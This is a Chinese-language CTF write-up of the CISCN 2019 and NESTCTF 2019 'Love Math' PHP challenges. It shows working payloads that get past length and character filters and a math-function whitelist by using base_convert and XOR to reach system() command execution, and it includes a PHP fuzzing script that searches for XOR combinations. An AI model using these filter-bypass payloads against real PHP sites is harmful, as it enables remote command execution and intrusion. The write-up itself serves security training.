CTF Web安全

[CISCN/NESTCTF]Love Math 代码执行

Posted on 2020-01-05,4 min read

CISCN2019
有三个判断。
1:输入不能大于80
2:不能有空格\t\r等字符
3:只能用白名单内的函数


base_convert是可以对字符进行转换的。那么我们就可以通过这个函数将恶意代码转换为数字

我们已经成功构造出了phpinfo,第一个过滤中也没过滤括号。

下一步。我们就构造命令执行。
挑个最短的exec,由于base_convert只能构造出小写字母。$_GET这类就不行了。上次说过getallheaders这个函数。可以通过http请求传参。返回数组。然而[]被过滤,这里还有另一种取数组值的方式{1},取1键对应的值。为什么不用之前说的end(getallheaders())),尝试了下。长度超了。能短就短吧。

exec=base_convert(696468,10,36)
getallheaders=base_convert(8768397090111664438,10,30)
#转换为36进制 的时候转回来会溢出。所以用30进制

exec(getallheaders(){1})
将各部分替换
base_convert(696468,10,36)(base_convert(8768397090111664438,10,30)(){1})

还有更短的。由于没过滤baseconvert和;, 那么我们就可以把base_convert定义为一个变量。然后调用 ``pi=base_convert,pi(696468,10,36)((pi(696468,10,36)((pi(8768397090111664438,10,30))(){1})``
注意。在构造getallheaders外面要用()包裹
还有就是通过构造_GET来接收参数。GET[0](_GET[0](_GET[1])
payload如下:

?c=$pi=base_convert;$pi=${$pi(1114322,10,36)^$pi(47989,10,36)};$pi{1}($pi{0})&1=system&0=ls

由于base_convert只能构造出小写字母。但我们可以通过异或来得到大写字母。
[NESTCTF 2019]Love Math 2

相对于第一题。没有了base_convert函数。但是^并没有过滤
我们可以通过^字符串来获取我们想要的字符

$pi=${hexdec^decoct(31737)};$pi{1}($pi{2});
POST:1=system&2=cat /flag

将hexdec字符串异或数字223773
主要是通过phpfuzz

还有一种

<?php
$payload = array('abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh');
for($k=1;$k<sizeof($payload);$k++){
	for($i=0;$i<9;$i++){
		for($j=0;$j<=9;$j++){
			$exp=$payload[$k]^$i.$j;
			echo($payload[$k]."^$i$j"."==>$exp"."\n");
		}
	}
}
?>

也是通过异或。之前的那种方法是
字符串^数字
字符串^数字.数字
为什么不能直接进行数字异或呢。因为直接传数字。会变成int类型。而int类型和字符串类型异或。就爆出warning
第一种办法。用函数处理后。得到结果为string
第二种办法。用(1).(2)。就变成了字符串12

下一篇: PHP LFI的两种姿势(PHP7崩溃+phpinfo缓存文件)→